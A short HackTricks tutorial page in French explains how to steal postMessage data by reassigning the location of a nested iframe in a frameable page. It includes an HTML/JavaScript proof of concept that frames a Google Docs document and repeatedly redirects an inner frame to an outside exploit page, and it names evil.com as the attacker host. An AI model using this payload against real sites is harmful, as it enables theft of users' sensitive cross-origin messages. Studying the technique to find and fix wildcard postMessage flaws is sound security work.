Steal postmessage modifying iframe location

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Modification des emplacements des iframes enfants

Selon cette explication, si vous pouvez inclure un iframe d'une page Web sans en-tête X-Frame qui contient un autre iframe, vous pouvez modifier l'emplacement de cet iframe enfant.

Par exemple, si abc.com a efg.com comme iframe et que abc.com n'a pas d'en-tête X-Frame, je pourrais changer efg.com en evil.com en utilisant, frames.location.

Cela est particulièrement utile dans les postMessages car si une page envoie des données sensibles en utilisant un joker comme windowRef.postmessage("","*"), il est possible de modifier l'emplacement de l'iframe associé (enfant ou parent) vers un emplacement contrôlé par un attaquant et de voler ces données.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Dernière mise à jour